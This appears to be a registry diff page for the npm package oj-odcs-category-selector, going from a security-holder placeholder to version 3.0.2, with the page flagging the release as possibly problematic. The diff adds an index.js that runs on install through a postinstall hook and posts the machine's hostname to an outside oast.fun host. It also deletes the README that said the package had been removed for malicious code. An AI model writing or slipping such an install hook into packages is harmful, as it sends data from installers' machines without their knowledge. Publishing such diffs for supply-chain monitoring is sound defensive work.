oj-odcs-category-selector 0.0.1-security → 3.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of oj-odcs-category-selector might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +33 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,33 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ // Retrieve the hostname of the machine
5
+ const hostname = os.hostname();
6
+
7
+ // Define your web server endpoint
8
+ const options = {
9
+ hostname: 'vqsgacvsvjjqsazlappqnk11tesu0xf1a.oast.fun', // Replace with your server's hostname
10
+ port: 443, // 80 for HTTP, 443 for HTTPS
11
+ path: '/log-hostname', // Your server's endpoint path
12
+ method: 'POST', // Use POST to send data securely
13
+ headers: {
14
+ 'Content-Type': 'application/json'
15
+ }
16
+ };
17
+
18
+ // Create the request
19
+ const req = https.request(options, (res) => {
20
+ console.log(`Server response: ${res.statusCode}`);
21
+ res.on('data', (data) => {
22
+ console.log(`Response body: ${data}`);
23
+ });
24
+ });
25
+
26
+ // Handle errors
27
+ req.on('error', (error) => {
28
+ console.error(`Error sending hostname: ${error}`);
29
+ });
30
+
31
+ // Send the hostname in the request body
32
+ req.write(JSON.stringify({ hostname }));
33
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "oj-odcs-category-selector",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.2",
4
+ "description": "testtest",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "siavashvafshar@wearehackerone.com",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=oj-odcs-category-selector for more information.